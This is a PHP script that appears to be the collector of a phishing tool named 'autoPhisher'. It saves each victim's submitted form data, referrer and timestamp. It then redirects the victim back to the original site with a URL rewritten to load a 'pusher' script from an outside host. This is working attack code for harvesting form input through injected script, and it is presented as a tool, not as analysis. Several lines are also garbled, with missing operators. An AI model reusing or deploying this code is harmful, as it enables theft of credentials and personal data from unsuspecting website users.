<?php
// Settings and requires
require_once 'classes/sql.php';
require_once 
'classes/TopLoader.php';
require_once 
'classes/Validator.php';
require_once 
'classes/Victim.php';
if (isset(
$_POST)) {
    
$victim = New Victim();
        
$victim->reference $_SERVER['HTTP_REFERER'];
        
$victim->formId = (isset($_GET["formId"])) ? $_GET["formId"] : "";
        
$victim->POST json_encode($_POST);
        
$victim->timestamp time();
    
$victim->save();

    
// Figuring out the new url injected with the pusher
    
$originalGET substr($victim->referencestrpos($victim->reference'?') + 1);
    
// Replacing the old url with a new one for the pusher
    
$pattern '^(http://|https://)(([a-z0-9]([-a-z0-9]*[a-z0-9]+)?){1,63}\.)+[a-z]{2,6}^';
    
$replacement 'http://e-x-e.dk/labs/autoPhisher/pusher.php?victimId=' $victim->id;
    
$newUrl preg_replace($pattern$replacement$originalGET);
    
// Getting rid of the last part of the old injector url
    
$oldInjector_plus_end substr($newUrl, -(strlen($newUrl) - strpos($newUrl$victim->id '/') - strlen($victim->id)));
    
$originalGETend substr($oldInjector_plus_endstrpos($oldInjector_plus_end'.js') + 3);
    
$newUrl str_replace($oldInjector_plus_end$originalGETend$newUrl);
    
// Getting the original domain
    
$originalDomain substr($victim->reference0strpos($victim->reference'?') + 1);
    
// Redirecting the user to the new pusher-injected url
    
header("Location: " $originalDomain $newUrl);
}
?>